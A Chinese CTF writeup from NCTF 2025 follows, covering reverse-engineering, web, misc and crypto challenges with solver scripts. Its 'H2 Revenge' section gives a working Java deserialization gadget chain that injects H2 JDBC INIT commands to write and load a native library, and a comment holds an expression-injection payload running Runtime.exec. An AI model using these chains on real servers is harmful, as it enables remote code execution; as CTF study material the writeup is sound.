NCTF 2025

UKFC 2025 NCTF Writeup

Reverse

ezDOS

这个是魔改 RC4,大部分都是混淆,其实没那么复杂

dos16 位,直接 ida 看汇编,第一个字符&(调试发现这个是 flag 长度,要等于 38)

四个函数操作后比较 sub_10670->sub_106D0->sub_106A0->sub_10640

loc_10582 是 rc4 加密,密钥:

密钥是 NCTf2024nctF,输出成功的地方可以找到密文

密文是:

box 是(动调出来的,这工具复制不了):

顺出加密逻辑了,对密文再进行一遍就得到 flag 了(那几个函数完全没用,混淆视听的):

SafeProgram

头尾校验,flag 长度是 38,格式 NCTF{},tls 和 seh,核心逻辑只有 sm4,异常处理的时候执行了一个 sub_7FF6B4F81480,修改 sbox 和 key,参量 fk,ck 都没变

x1Login

Decstr.get()的作用是先 base64 解码(换了码表)再异或字符串长度,如下所示,所有的类似字符都可以这么解:

MainActivity 的主逻辑中有很重要的一步是把 libsimple.so(在 assets 里)经过一系列解密操作整成一个 dex 然后加载,解密操作用的函数是动态注册,没看懂,我直接改字节码把解密后的结果保存在私有目录了:

没想到一次成功,Check 函数到手:

分析 doCheck 函数,也是动态注册,流程大概是把 password 的每八位进行三次函数处理,结果和 xmmword_1804 那里的 24 个字符比较:

让检测调试的函数不进行任何操作,然后尝试动调,但是调不动,下不了断点

是没有真机的原因吧,这是 arm 架构,雷电那些模拟器都是 x86,下个 arm 模拟器试试?

(其实可以 unicorn

那还是试一下通过 unicorn 找到程序执行流程去混淆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from unicorn import *
from unicorn.arm64_const import *

def align_up(value, alignment):
    return (value + alignment - 1) & ~(alignment - 1)

file_path = "test.so"
with open(file_path, "rb") as file:
    code = file.read()

mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)

CODE_ADDRESS = 0x100000
CODE_SIZE = align_up(len(code), 0x1000)

## 设置栈地址和大小
STACK_ADDR = 0x200000
STACK_SIZE = 1024 * 1024


## 映射代码区域
mu.mem_map(CODE_ADDRESS, CODE_SIZE)

## 映射栈区域
mu.mem_map(STACK_ADDR, STACK_SIZE)

## 将代码写入内存
mu.mem_write(CODE_ADDRESS, code)

## 设置栈指针
mu.reg_write(UC_ARM64_REG_SP, STACK_ADDR + STACK_SIZE)

a1 = 0x00000000
a2 = 0x12345678
mu.reg_write(UC_ARM64_REG_X0, a1)
mu.reg_write(UC_ARM64_REG_X1, a2)

last_a2 = a2


def hook_code(mu, address, size, user_data):
    global last_a2
    #print(f">>> Tracing instruction at 0x{address:x}, instruction size = 0x{size:x}")
    current_a2 = mu.reg_read(UC_ARM64_REG_X1)

    if current_a2 != last_a2:
        print(f">>> a2 change at 0x{address:x}, new value = 0x{current_a2:x}")
        last_a2 = current_a2

    if address == 0x102674:
        print(f">>> skip at 0x{address:x}")
        mu.reg_write(UC_ARM64_REG_PC, CODE_ADDRESS + 0x2678)

    if address == 0x102d78:
        print(f">>> skip at 0x{address:x}")
        mu.reg_write(UC_ARM64_REG_PC, CODE_ADDRESS + 0x2d7c)


mu.hook_add(UC_HOOK_CODE, hook_code)

try:
    mu.emu_start(CODE_ADDRESS + 0x2644, CODE_ADDRESS + 0x2dc0)
    print("finish!")
except UcError as e:
    print(f"ERROR: {e}")

主要加密似乎在 21oc,再模拟一下 210c 试试

在 210c 函数里会把 x0 移动到 simd 寄存器里,看汇编主要是一个查表替换,

😋😋😋 刑满释放了

gogo

这个很像 xxtea

sum1 = flag[1]«2 ^ flag[4]»5 + flag[1]»3 ^ flag[4]«4

sum2 = flag[6]»2 ^ flag[9]«5 + flag[6]«3 ^ flag[9]»4

sum1 = (flag[4]^k1 + flag[1]^delta) ^ sum1 + flag[0]

sum2 = (flag[6]^delta + flag[9]^k2) ^ sum2 + flag[5]

sum3 = flag[7]»2 ^ sum2«5 + flag[7]«3 ^ sum2»4

sum4 = flag[2]«2 ^ sum1»5 + flag[2]»3 ^ sum1«4

sum3^(flag[2]^delta + sum1^key4) + flag[6]

sum4^(flag[7]^delta + sum2^key3) + flag[1]

开摆 吃夜宵了

Web

H2 Revenge

没有 javac,考虑调用静态方法写入.so,通过 System.load 加载 RCE。

EXP:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
package challenge;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.sql.DataSource;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Vector;

import java.lang.Class;
import java.lang.ClassLoader;

import org.springframework.util.FileCopyUtils;

import org.springframework.util.ResourceUtils;
public class EXP {
    public static void main(String[] args) throws Exception {

        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        POJONode node = new POJONode(makeTemplatesImplAopProxy());
        Object eventListener = eventListenerList(node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(eventListener);

        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        byte[] b = new byte[]{0x1a,0x2b};
        File file = ResourceUtils.getFile("E://testsq.txt");
        FileCopyUtils.copy(b,file);
//        test();
    }
//    [[${T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor', T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke("".getClass().forName("jdk.jshell.JShell")).eval("java.lang.Runtime.getRuntime().exec(\"calc\")")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"}))}]]

    private static String bytesToHex(byte[] bytes) {
        StringBuilder hexString = new StringBuilder();
        for (byte b : bytes) {
            hexString.append(String.format("%02X", b));
        }
        return hexString.toString();
    }

    public static Object eventListenerList(Object obj) throws Exception {
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Field edits =  getFuckField(manager.getClass(), "edits"); //oops cause the edits Field in UndoManager.superClass

        Vector vector = new Vector<>();
        vector.add(obj);

        edits.setAccessible(true);
        edits.set(manager, vector);
        setFieldValue(list, "listenerList", new Object[]{Class.class, manager});
        return list;
    }

    public static void setFieldValue(Object obj1,String str,Object obj2) throws NoSuchFieldException, IllegalAccessException {
        Field field2 = obj1.getClass().getDeclaredField(str);//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(obj1, obj2);//设置queue的comparator字段值为comparator
    }

    public static Field getFuckField(Class<?> clazz, String fieldName) {
        Field declaredField;
//        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField;
            } catch (Exception e) {
                e.printStackTrace();
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public static Object makeTemplatesImplAopProxy() throws Exception {

        AdvisedSupport advisedSupport = new AdvisedSupport();
        List<String> urls = new ArrayList<String>();
//        String url="jdbc:h2:mem:test;MODE=MSSQLServer;INIT=";
//        System.load();
        urls.add("DROP ALIAS IF EXISTS Introspection");
        urls.add("DROP ALIAS IF EXISTS CLASS_FOR_NAME");
        urls.add("DROP ALIAS IF EXISTS createInstance");
        urls.add("DROP ALIAS IF EXISTS FILECOPY");
        urls.add("DROP ALIAS IF EXISTS CREATE_FILE");
        urls.add("DROP ALIAS IF EXISTS LOAD");

        urls.add("CREATE ALIAS CREATE_FILE FOR 'org.springframework.util.ResourceUtils.getFile(java.lang.String)'");
        urls.add("CREATE ALIAS Introspection FOR 'org.apache.tomcat.util.IntrospectionUtils.callMethodN(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Class[])'");
        urls.add("CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'");
        urls.add("CREATE ALIAS createInstance FOR 'com.fasterxml.jackson.databind.util.ClassUtil.createInstance(java.lang.Class,boolean)'");
        urls.add("CREATE ALIAS FILECOPY FOR 'org.springframework.util.FileCopyUtils.copy(byte[],java.io.File)'");
        urls.add("CREATE ALIAS LOAD FOR 'java.lang.System.load(java.lang.String)'");

        String prefix="/tmp/test.so";
        FileInputStream fis = new FileInputStream("F://test.so");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int len;
        while ((len = fis.read(buffer)) != -1) {
            bos.write(buffer, 0, len);
        }
        byte[] fileContent = bos.toByteArray();
        fis.close();


        String hexContent = bytesToHex(fileContent);

        urls.add("SET @file=CREATE_FILE('"+prefix+"')");
        urls.add("CALL FILECOPY(X'" + hexContent + "', @file)");
        urls.add("CALL LOAD('/tmp/test.so')");

        String evil = "";
        for(String command:urls){
            evil += command+"\\;";
        }
//        System.out.println(evil);
        String url="jdbc:h2:mem:test;MODE=MSSQLServer;INIT=";
        MyDataSource myDataSource = new MyDataSource(url+evil, "sa", "");

        advisedSupport.setTarget(myDataSource);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
        return proxy;
    }
}

属主是 ctf,chmod 赋权:

Pwn

Misc

QRcode Reconstruction

简单的二维码修复

使用 qrazybox 进行手动补码,定位符可根据右上部分得出为 L,2

得到

残缺部分不需要不全,直接使用其中的 tools 的 extract 就可以了:

如图中,包裹上就行了

Crypto

Sign

程序流程:

Util 模块:

获取随机数:对于 n,使其整除 8 再加一,再模 2 的 n 次方,使其在$(0,2^n-1)$的范围内

pubkey:取一个 77 为的素数 p,在与 17 内的整数相乘,加上 17 以内的整数左移八位的结果

FHE 加密过程:

$$ pubkey=ap+B<<8 $$

设 $B«8=b$,则 $pubkey=ap+b$ (设 $x_ia_{y_i}+y_ia_{x_i}=K_i$)

$$ \begin{align} c_j&=tmp+m_j\\ &=\sum_{i=0}^{15}(x_i\cdot pubkey[y_i]+y_i\cdot pubkey[x_i])+{m_j}\\ &=\sum_{i=0}^{15}[(x_ia_{y_i}+y_ia_{x_i})p+(x_ib_{y_i}+y_ib_{x_i})]+{m_j}\\ &=\sum_{i=0}^{15}[K_ip+(x_ib_{y_i}+y_ib_{x_i})]+{m_j}\\ &=\sum_{i=0}^{15}[K_ip+(x_iB_{y_i}+y_iB_{x_i})<<8]+{m_j}\\ \end{align} $$

幻想能求出 p(又开始幻想了) , 就会有

$$ \begin{align} c_j&\equiv \sum_{i=0}^{15}(x_iB_{y_i}+y_iB_{x_i})«8+{m_j}\ (mod\ p)\

\end{align} $$

那么 $m_j$就能直接从 $c_j\ mod\ p$低 8 位抽出来

$s_i\cdot m_{2bit_string} (mod\ 256)$就是 8bit, 有了 p 就能直接求出

之后就能得到 MT 产生的随机数的低 8bit, 建个矩阵应该能还原出初始 state

随机数有了, 直接爆破 2bit 的 m, string 就有了

主程序:

有一个字节型的 string 和 flag

其中生成一个长度为 20000 位的随机数 s (bytes),之后对 s 进行分段处理:

除了前四位,剩下的每一个字节用 FHE 加密,加到 key 中

前四位的 i 处理有点特殊,满足 i*(m&0x03)%0x01,再对此进行 FHE 加密,加到 key 中

以上流程直到 30000 个 key 为止

最后将 string 作 MD5 加密,用填充到 16 位的 flag 进行 AES_ECB 模式的加密

函数名是 FHE(full homomorphic encryption)全同态加密,这加密看起来也不同态啊

Arcahv

读题:

flag 被 RSA1 加密,已知 RSA 的 e 与加密结果,其他参数未知

  • 给出 hint1, $hint1\equiv p_1^e\ (mod\ N_2)$, RSA 的 p 要从这里解出来

已知 RSA2 的$N_2$和 e, 有一个 RSA2 的解密预言机, 但是因为疯狂星期四没给 Hibiscus v50, Hibiscus 就把解密结果给 trick 了, 导致输出的结果不是正确的解密结果

  • 给出 hint2, AES 的 ECB 模式加密 RSA1 的$N_1$, key 是 lcg 的 seed, 随机数问题

首先 lcg 会随机次数更新状态, 之后把 5 次连续的随机数拼成一个字符串一段一段地输出, 有了五个连续的随机数,只要能把每个随机数从字符串里分开, 就能解出 a,b,p, 一直向前还原 seed 值

之后需要解决的是向前还原状态多少次才是 seed 值。可以直接爆破,正确的 seed 解密结果为 N1, $p_1|N_1$, 能把正确的 N1 筛选出来

所以只要把 hint1 解决了, 整个题就解决了

hint2 的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from os import urandom,getenv
from Crypto.Cipher import AES
import binascii
from operator import invert
from sympy import *
from Crypto.Util.number  import*
from pwn import *

#需要前置的变量:int型p1,int型flag的密文c,字节串hint2
#需要前置收集数据部分,传入b'y'80次,把数都存result数组里,注意数据类型是int

r=[]
## 将 result 中的整数重新转换为十六进制字符串,并拼接成完整的 hexnums
hexnum = ''.join("{:0>16x}".format(num) for num in result)

for i in range(5):
    r.append(int(hexnum[i*256:(i+1)*256],16))


#开始向前恢复状态
x1,x2,x3,x4,x5=r

m=int(gcd((x2-x1)*(x4-x3)-(x3-x2)**2,(x3-x2)*(x5-x4)-(x4-x3)**2))

if not isprime(m) and m!=1:
    m=max(factorint(m))
  
if isprime(m) and m!=1 and m.bit_length()>1000:
    a=(x3-x2)*inverse(x2-x1,m)%m
    b=(x2-a*x1)%m

    x=x1
    while True: #爆破
        x=(x-b)*inverse(a,m)%m #向前恢复状态

        byte_N1=AES.new(long_to_bytes(x),AES.MODE_ECB).encrypt(hint2) #假设key是正确的,解密和hint2
        N1=bytes_to_long(byte_N1)

        if N1%p1==0: #退出爆破的约束
            q1=N1//p1
            e = 65537
            d=int(inverse(e,(p1-1)*(q1-1)))
            flag=pow(c,d,N1) #这里把flag的加密结果接收为c
            print(long_to_bytes(flag))
            break

else:
    print('失败了') #成功率大概0.68,还能接受(

探索一下 trick 和 decrypt

给出的 hint1 是小端在前, 所以要先把 hint1 倒序一下再传入 RSA2 的解密预言机

解密完成之后, 得到的明文 msg 还是小端, 高位在最前面

之后 msg 就这么倒着被 trick 了一下

但是 trick 是不会改变第一个字节的, 倒序的 msg 的最高位,也就是 msg 的最低位是不发生变化的

预言机限制了 75 次使用次数, 一次恢复 1byte 的 p, 75 次最多恢复 600bit 的 p

目前 hint1 的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from Crypto.Util.number import *
from functools import reduce
from os import urandom
from Crypto.Cipher import AES
import binascii
from operator import invert
from sympy import *
from pwn import *

e=0x10001
context.log_level = 'debug'

#连接服务器
p=remote('39.106.16.204',11653)

#接受数据
p.sendlineafter(b'Your Option > ',b'1')
p.recvuntil(b'Encrypted flag: ')
c=bytes_to_long(binascii.unhexlify(p.recvline().strip().decode())) #c变为了原来的整数

p.recvuntil(b'Hint1: ')
hint1=binascii.unhexlify(p.recvline().strip().decode()) 
#hint1=hint[::-1]

p.recvuntil(b'Hint2: ')
hint2=binascii.unhexlify(p.recvline().strip())


#接收RSA2的N2
p.sendlineafter(b'Your Option > ',b'2')
p.recvuntil(b'Your pubkey:(')
N2_hex = p.recvuntil(b',')[0:-1].decode()
N2 = int(N2_hex, 16)


def decrypt_ciphertext(ciphertext): ## 发送解密请求
    p.sendlineafter(b'Do you still want to try decryption(y/[n])?', b'y')
    p.sendlineafter(b'Your ciphertext(in hex):', binascii.hexlify(ciphertext))
    p.recvuntil(b'Result: ')
    result = bytes.fromhex(p.recvline().strip().decode())
    return result

def recover_p(hint1, N2, e):
    ## 解密hint1获取p的小端序字节
    p_le = bytearray()
    for k in range(75):
        ## 构造密文c_k = hint1 * (256^k)^e mod N2
        multiplier = pow(256, k, N2)
        c_k = (bytes_to_long(hint1) * pow(multiplier, e, N2)) % N2
        c_k_bytes = long_to_bytes(c_k, 256).rjust(256, b'\x00')
      
        ## 发送解密请求
        result = decrypt_ciphertext(c_k_bytes)
      
        ## 记录index为0的字节
        p_le.append(result[0])
      
  
    ## 小端序转大端序
    p = bytes(p_le[::-1])
    return bytes_to_long(p)


pp=recover_p(hint1, N2, e)
print('p=',pp) #p的低600bit
print('hint1=',bytes_to_long(hint1[::-1]))
print(N2)
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计